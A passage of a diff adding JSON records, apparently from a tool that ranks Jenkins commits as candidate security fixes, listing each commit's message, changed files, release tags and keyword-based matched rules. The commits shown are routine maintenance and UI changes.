+ }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8442", + "relevance": 2 + } + ] + }, + { + "commit_id": "444f2de993786310f998b4432e2550b35e1d7a45", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1704274052, + "hunks": 4, + "message": "Improve crash consistency on Linux (#8815) * Improve crash consistency * `fsync` the correct parent directory * More flexibility * Add reference to man page * fix formatting --------- Co-authored-by: Tim Jacomb <21194782+timja@users.noreply.github.com>", + "changed_files": [ + "core/src/main/java/hudson/util/AtomicFileWriter.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8815": "Document REQUIRES_DIR_FSYNC escape hatch jenkins-infra/jenkins.io#6985" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: file", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8815", + "relevance": 2 + } + ] + }, + { + "commit_id": "f06a954ea4ef114ff30612f6d4c21be53364aeaf", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1704241462, + "hunks": 2, + "message": "allow to change the icon size of the node overview table (#8802) make icon size of node overview page changeable similar to the list of projects on the start page of Jenkins the icon size of the overview page of nodes can now be changed.", + "changed_files": [ + "core/src/main/resources/hudson/model/ComputerSet/index.jelly" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8802": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: allow", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8802", + "relevance": 2 + } + ] + }, + { + "commit_id": "3a92445c2bc80a4c9e7c6fdf87731be109851405", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1703757583, + "hunks": 6, + "message": "[JENKINS-72370][JENKINS-11889] fix SimpleScheduledRetentionStrategy with inbound agents (#8717) by implementing `isAcceptingTasks` the availability strategy ensures that no builds can start when the agent should not do anything. The current behaviour with an inbound agent is that the strategy disconnects the agent, just to get connected again by the agents java process followed by a disconnection a minute later and so on. After it is connected, the agent is actually accepting tasks. Additionally the change will only disconnect the agent when the controller the controller can itself launch the agent, this means inbound agents are not connected, to avoid playing jojo. The agent will just not accept new tasks for execution. The change also avoids the problem in [JENKINS-11889] for outbound agents where the accepting tasks of an agents seems to be not reset when changing the availability strategy to always on.", + "changed_files": [ + "core/src/main/java/hudson/slaves/SimpleScheduledRetentionStrategy.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8717": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: follow, controller", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8717", + "relevance": 2 + } + ] + }, + { + "commit_id": "a82293567f965c793dbef71be6e4522c1903cd0e", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1702975411, + "hunks": 9, + "message": "[JENKINS-71578] allow making sidepanel sticky (#8269)", + "changed_files": [ + "core/src/main/resources/hudson/PluginManager/sidepanel.jelly", + "core/src/main/resources/hudson/model/Job/configure.jelly", + "core/src/main/resources/lib/layout/layout.jelly", + "core/src/main/resources/lib/layout/side-panel.jelly", + "war/src/main/js/section-to-sidebar-items.js" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8269": "Move app bar for plugins #8376" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: allow", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8269", + "relevance": 2 + } + ] + }, + { + "commit_id": "7258cad41408a35590ab85ab28cad9e9ffe4aeda", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1702920108, + "hunks": 29, + "message": "[JENKINS-72371] rework node monitor configuration (#8719) * [JENKINS-72371] rework node monitor configuration This PR reworks the way node monitors are configured. It ensures that also monitors which are set to ignored, can be configured. Previously, there was a checkbox before each monitor, where the behaviour was not totally clear. It meant that the monitor is ignored but still collecting data and not disabled as one might think. But when the monitor was disabled any configuration was lost and default values were used. * improve description * fix formatting * add since", + "changed_files": [ + "core/src/main/java/hudson/model/ComputerSet.java", + "core/src/main/java/hudson/node_monitors/AbstractNodeMonitorDescriptor.java", + "core/src/main/java/hudson/node_monitors/ArchitectureMonitor.java", + "core/src/main/java/hudson/node_monitors/ClockMonitor.java", + "core/src/main/java/hudson/node_monitors/NodeMonitor.java", + "core/src/main/java/hudson/node_monitors/ResponseTimeMonitor.java", + "core/src/main/java/hudson/node_monitors/SwapSpaceMonitor.java", + "core/src/main/resources/hudson/model/ComputerSet/configure.jelly", + "core/src/main/resources/hudson/model/ComputerSet/configure.properties", + "core/src/main/resources/hudson/node_monitors/ArchitectureMonitor/help.html", + "core/src/main/resources/hudson/node_monitors/ClockMonitor/help.html", + "core/src/main/resources/hudson/node_monitors/NodeMonitor/configure.jelly", + "core/src/main/resources/hudson/node_monitors/NodeMonitor/help-ignored.html", + "core/src/main/resources/hudson/node_monitors/ResponseTimeMonitor/help.html", + "core/src/main/resources/hudson/node_monitors/SwapSpaceMonitor/help.html" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8719": "Test rework node monitor configuration jenkinsci/acceptance-test-harness#1443" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: disable", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8719", + "relevance": 2 + } + ] + }, + { + "commit_id": "0a7ab5f06eee33802b518f83bf8b8969155ae464", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1702497661, + "hunks": 4, + "message": "[JENKINS-72157] ensure uptime is independent of system clock (#8771)", + "changed_files": [ + "core/src/main/java/jenkins/model/Uptime.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8771": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: system", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8771", + "relevance": 2 + } + ] + }, + { + "commit_id": "38d31c1751f582eccf85feb2c66eb0eeb3b6e77b", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1702497608, + "hunks": 8, + "message": "[JENKINS-60866][JENKINS-71051][JENKINS-71048] Un-inline 'Build Now' JS (#7635) * [JENKINS-60866] Un-inline 'Build Now' JS * Fix formatting * Use MorphTagLibrary to simplify API * Update docs for l:task attributes * This is a collosal waste of time Copied from 8aee10ea8a1c03c71868bd116e08efa1c9bbc1af, this is just stupid * Rename adjunct file, restructure to work around broken formatter * Exclude all documented attributes except data-* * Fix onclick behavior * Address review feedback --------- Co-authored-by: Daniel Beck ", + "changed_files": [ + "core/src/main/resources/lib/hudson/project/configurable.jelly", + "core/src/main/resources/lib/hudson/project/configurable/configurable.js", + "core/src/main/resources/lib/layout/task.jelly", + "core/src/main/resources/lib/layout/task/task.js" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "7635": "[JENKINS-49138] Build Now to redirect to new build #7633" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: file", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 7635", + "relevance": 2 + } + ] + }, + { + "commit_id": "6fcfb189060c74f05c3d193e013b84acc67fff58", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1702494805, + "hunks": 69, + "message": "Update dependency stylelint to v16 (#8767) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Alexander Brandes ", + "changed_files": [ + "war/package.json", + "war/src/main/scss/components/_row-selection-controller.scss", + "war/src/main/scss/form/_layout.scss", + "war/src/main/scss/form/_search-bar.scss", + "war/src/main/scss/pages/_icon-legend.scss", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8767": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: controller", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8767", + "relevance": 2 + } + ] + }, + { + "commit_id": "0f0d81b306c6452621f29bd3b0493662e12ef009", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701757659, + "hunks": 1, + "message": "Add `ExtensionList.lookupFirst` convenience method. (#8735) * Add `ExtensionList.lookupFirst` convenience method. When introducing an extension point that is meant to allow overriding a default behaviour with another implementation, generally the caller only cares about looking up only one implementation, the one with the highest ordinal. * Fix javadoc Co-authored-by: Jesse Glick --------- Co-authored-by: Jesse Glick ", + "changed_files": [ + "core/src/main/java/hudson/ExtensionList.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8735": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.435", + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: allow", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8735", + "relevance": 2 + } + ] + }, + { + "commit_id": "c637d4168ef41170908ddf0f967d70af1e8e5c4e", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701677770, + "hunks": 4, + "message": "make displayname of HistoryWidget configurable for alternate text (#8740) make displayname of HistoryWidget configurable for use with customizable-build-now plugin make the placeholder for the history filter less specific, the title already explains what this shows so just `Filter...` should be enough.", + "changed_files": [ + "core/src/main/java/hudson/widgets/HistoryWidget.java", + "core/src/main/resources/hudson/widgets/HistoryWidget/index.properties" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8740": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.435", + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: read", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8740", + "relevance": 2 + } + ] + }, + { + "commit_id": "5bd48ebcd045865529216b9c93f34aa2d6a04a1f", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701440845, + "hunks": 1, + "message": "Update dependency org.apache.maven:maven-core to v3.9.6 (#8734) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + ".gitpod/Dockerfile" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8734": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.435", + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: file", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8734", + "relevance": 2 + } + ] + }, + { + "commit_id": "1f95b095187b80145a7972ceb5ae981ae767e33d", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701113803, + "hunks": 50, + "message": "Use symbols for build status (#8705) * Init * Rename ID * Fix icon position * Fix app bar build status icon being incorrect * Address missed icons --------- Co-authored-by: Alexander Brandes ", + "changed_files": [ + ".editorconfig", + "core/src/main/resources/hudson/model/AbstractBuild/index.jelly", + "core/src/main/resources/hudson/model/Job/buildTimeTrend.jelly", + "core/src/main/resources/hudson/model/Job/buildTimeTrend_resources.js", + "core/src/main/resources/hudson/model/Job/index.jelly", + "core/src/main/resources/hudson/model/Run/statusIcon.jelly", + "core/src/main/resources/hudson/views/StatusColumn/column.jelly", + "core/src/main/resources/hudson/widgets/HistoryWidget/entry.jelly", + "core/src/main/resources/jenkins/model/Jenkins/_legend.jelly", + "core/src/main/resources/lib/hudson/buildCaption.jelly", + "core/src/main/resources/lib/hudson/buildLink.jelly", + "core/src/main/resources/lib/hudson/buildListTable.jelly", + "core/src/main/resources/lib/hudson/jobLink.jelly", + "core/src/main/resources/lib/hudson/projectView.jelly", + "war/src/main/resources/images/symbols/status-aborted-anime.svg", + "war/src/main/resources/images/symbols/status-aborted.svg", + "war/src/main/resources/images/symbols/status-blue-anime.svg", + "war/src/main/resources/images/symbols/status-blue.svg", + "war/src/main/resources/images/symbols/status-disabled-anime.svg", + "war/src/main/resources/images/symbols/status-disabled.svg", + "war/src/main/resources/images/symbols/status-nobuilt-anime.svg", + "war/src/main/resources/images/symbols/status-nobuilt.svg", + "war/src/main/resources/images/symbols/status-red-anime.svg", + "war/src/main/resources/images/symbols/status-red.svg", + "war/src/main/resources/images/symbols/status-yellow-anime.svg", + "war/src/main/resources/images/symbols/status-yellow.svg", + "war/src/main/scss/base/_style.scss", + "war/src/main/scss/components/_app-bar.scss", + "war/src/main/scss/components/_side-panel-widgets.scss", + "war/src/main/scss/pages/_dashboard.scss" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8705": "Test core/8705 jenkinsci/acceptance-test-harness#1427 Update dependency org.jenkins-ci.main:jenkins-war to v2.434 jenkinsci/bom#2704 AggregatedTestResultPublisherTest fails with Jenkins 2.434 jenkinsci/junit-plugin#588 Remove JUnit plugin AggregatedTestResultPublisherTest exclusion jenkinsci/bom#2705 \"Aborted\" icon is almost invisible jenkinsci/dark-theme-plugin#399 make it compatible with 2.401.1 jenkins jenkinsci/pipeline-agent-build-history-plugin#14 [JENKINS-72711] Restore progress animation in build history and buildtime trend views #8966 Remove icon from reference link as it is broken in core again jenkinsci/warnings-ng-plugin#1697" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.434", + "jenkins-2.435", + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + 